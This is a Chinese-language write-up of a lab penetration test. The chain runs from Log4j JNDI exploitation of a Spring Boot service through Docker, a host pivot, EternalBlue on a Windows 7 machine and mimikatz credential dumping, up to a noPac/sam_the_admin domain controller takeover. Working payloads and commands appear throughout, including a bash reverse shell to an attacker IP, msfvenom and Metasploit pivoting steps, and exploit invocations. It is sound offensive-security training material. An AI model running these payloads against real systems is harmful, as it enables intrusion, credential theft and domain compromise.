前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >记一次由log4j引发的渗透

记一次由log4j引发的渗透

原创
作者头像
红队蓝军
修改2022-02-09 09:52:14
1.1K1
修改2022-02-09 09:52:14
举报
文章被收录于专栏:红队蓝军

前言

该靶场由内部成员搭建,关注公众号:红队蓝军,回复 靶场 即可获取靶场。

外网打点

首先对web进行端口扫描,发现38080端口和22端口

image-20211224185719486.png
image-20211224185719486.png

访问一下38080端口发现是一个error page

image-20211224190027006.png
image-20211224190027006.png

用Wappalyzer看一下是什么架构,但是好像没有检测出来

image-20211224190058835.png
image-20211224190058835.png
image-20211224190058835.png
image-20211224190058835.png

拿着报错去百度上发现应该是springboot

image-20211224190141553.png
image-20211224190141553.png

索性用goby再去扫一下,应该是spring没错,但是没有漏洞是什么操作?联想到最近出的log4j2的洞,可能他只是一个日志文件所以并没有框架

image-20211224190525232.png
image-20211224190525232.png
image-20211224190530749.png
image-20211224190530749.png

使用payload=${jndi:ldap://p9j8l8.dnslog.cn}验证一下有回显证明存在漏洞

image-20211224192033843.png
image-20211224192033843.png

尝试进一步利用漏洞,首先起一个ldap服务,ip为本地接收shell的ip地址

代码语言:c++
复制
java -jar JNDIExploit-1.3-SNAPSHOT.jar -i 192.168.1.105
image-20211224193008062.png
image-20211224193008062.png

抓包修改Content-Type: appllication/x-www-form-urlencoded,并执行以下payload成功回显

代码语言:c++
复制
payload=${jndi:ldap://192.168.1.105:1389/TomcatBypass/TomcatEcho}
image-20211225094718851.png
image-20211225094718851.png

执行ls -al /看一下也成功

image-20211225094758460.png
image-20211225094758460.png

nc开启监听端口

image-20211224193104610.png
image-20211224193104610.png

然后使用bash命令反弹,这里需要先base64编码然后对编码后的特殊字符进行2层url转码

代码语言:c++
复制
bash -i >& /dev/tcp/192.168.1.105/9999 0>&1

抓包添加payload=${jndi:ldap:1/192.168.199.140:1389/TomcatBypass/Command/Base64/二层转码之后的字符},即可得到反弹shell

image-20211225100116655.png
image-20211225100116655.png

进行信息搜集发现为docker环境,这里尝试了docker逃逸失败,那么继续进行信息搜集

image-20211225100144783.png
image-20211225100144783.png

在根目录下找到了第一个flag,这里有一个got this,在之前端口扫描的时候看到开放了22端口,尝试使用ssh直接连接

image-20211225100234079.png
image-20211225100234079.png

使用xshell尝试连接

image-20211225100735119.png
image-20211225100735119.png

连接成功,拿到了宿主机的权限

image-20211225100751716.png
image-20211225100751716.png

ifconfig查看网卡情况发现还有一张10.0.1.0/24段的网卡

image-20211225100846876.png
image-20211225100846876.png

这里方便的话其实可以使用cs上线linux后用cs继续打,这里我就没有上线cs,使用linux的命令对10.0.1.0/24段探测存货主机

代码语言:txt
复制
 for i in 10.0.1.{1..254}; do if ping -c 3 -w 3 $i &>/dev/null; then echo $i Find the target; fi; done
image-20211225101049771.png
image-20211225101049771.png

ping一下是存活的

image-20211225101211085.png
image-20211225101211085.png

使用毒液把流量代理出来,首先开启监听

代码语言:c
复制
admin.exe -lport 7777
image-20211225101320507.png
image-20211225101320507.png

然后上传agent_linux到靶机上

image-20211225101406299.png
image-20211225101406299.png

加权并执行

代码语言:c++
复制
chmod 777 agent_linux_x86
agent_linux_x86 -rhost 192.168.1.105 -rport 7777
image-20211225101644161.png
image-20211225101644161.png

连接成功

image-20211225101658494.png
image-20211225101658494.png

这里本来准备用毒液的代理到msf打的,后面觉得比较麻烦,就直接用kali生成的elf马上线msf了

image-20211225102533238.png
image-20211225102533238.png

首先生成一个32位的elf马

代码语言:c++
复制
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf

然后加权并执行

代码语言:c++
复制
chmod 777 shell.elf
   
./shell
image-20211225103243423.png
image-20211225103243423.png

kali使用exploit/multi/handler进行监听

image-20211225103252424.png
image-20211225103252424.png

获取到宿主机的shell

image-20211225103306331.png
image-20211225103306331.png

然后添加10.0.1.0/24段的路由

代码语言:c++
复制
bg

route add 10.0.1.0 255.255.255.0 1
route print
image-20211225103435896.png
image-20211225103435896.png

然后配置proxychain4.conf文件并使用socks模块

代码语言:c++
复制
search socks
use auxiliary/sevrer/socks_proxy
run
image-20211225103602973.png
image-20211225103602973.png

我们在之前已经知道了内网主机的ip,那么这里我们直接使用proxychain配合nmap对10.0.1.7的端口进行扫描

代码语言:c++
复制
proxychains4 nmap -sT -Pn 10.0.1.7
image-20211225103816776.png
image-20211225103816776.png

发现有445端口,那么对445端口进一步扫描

image-20211225103830404.png
image-20211225103830404.png

先确定一下系统版本,使用auxiliary/scanner/smb/smb_version模块,发现是win7 sp1

image-20211225103930675.png
image-20211225103930675.png

看能不能利用永恒之蓝,这里使用到auxiliary/scanner/smb/smb_ms17_010模块,发现可以利用永恒之蓝

image-20211225104032698.png
image-20211225104032698.png

使用exploit/windows/smb/ms17_010_eternalbule模块,因为是不出网环境,这里需要用到bind_tcp载荷

image-20211225104314298.png
image-20211225104314298.png

run之后拿到一个system权限的meterpreter

image-20211225122347136.png
image-20211225122347136.png

C:\Users\root\Desktop下拿到第二个flag

image-20211225122641642.png
image-20211225122641642.png

然后继续进行信息搜集,发现同样是双网卡,还存在10.0.0.0/24段的一张网卡

image-20211225122150051.png
image-20211225122150051.png

ipconfig /all看到dns服务器为redteam.lab应该在域内

image-20211225122713816.png
image-20211225122713816.png

这里ping一下redteam.lab得到域控的ip为10.0.0.12

image-20211225122733967.png
image-20211225122733967.png

这里不知道域控有什么洞,先上传一个mimikatz把密码抓取出来,得到Administrator/Admin12345,这里其实就可以使用域管账户ipc直接连接,但是这里抓到了一个域用户,尝试使用最新的CVE-2021-42287、CVE-2021-42278来进行攻击,关于漏洞的原理请移步

代码语言:c
复制
privilege::debug
sekurlsa::logonpasswords
image-20211225123057449.png
image-20211225123057449.png
image-20211225123124486.png
image-20211225123124486.png

这里我准备使用noPac.exe直接去获取一个shell的,但是这里noPac.exe的利用条件是需要主机上有.net4.0环境,所以这里没有回显

noPac.exe下载地址:https://github.com/cube0x0/noPac

image-20211225124906425.png
image-20211225124906425.png

本来准备一步一步的用原始的方法打的,但是powershell用不了没有回显,就写一下原始利用的步骤吧

首先创建一个机器账户,可以使用 impacket 的 addcomputer.py或是powermad addcomputer.py是利用SAMR协议创建机器账户,这个方法所创建的机器账户没有SPN,所以可以不用清除 清除机器账户的servicePrincipalName属性 将机器账户的sAMAccountName,更改为DC的机器账户名字,注意后缀不带$ 为机器账户请求TGT 将机器账户的sAMAccountName更改为其他名字,不与步骤3重复即可 通过S4U2self协议向DC请求ST 进行 DCsync Attack

image-20211225133325123.png
image-20211225133325123.png

这里直接使用sam_the_admin.py进行攻击

代码语言:c++
复制
proxychains python3 sam_the_admin.py "redteam/root:Red12345" -dc-ip 10.0.0.12 -shell
image-20211225135208122.png
image-20211225135208122.png

即可拿到DC的shell

image-20211225135925253.png
image-20211225135925253.png

C:\Users\Administrator\Desktop下找到最后一个flag

image-20211225140021807.png
image-20211225140021807.png
image-20211225140021807.png
image-20211225140021807.png

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 外网打点
相关产品与服务
专用宿主机
专用宿主机(CVM Dedicated Host,CDH)提供用户独享的物理服务器资源,满足您资源独享、资源物理隔离、安全、合规需求。专用宿主机搭载了腾讯云虚拟化系统,购买之后,您可在其上灵活创建、管理多个自定义规格的云服务器实例,自主规划物理资源的使用。
领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档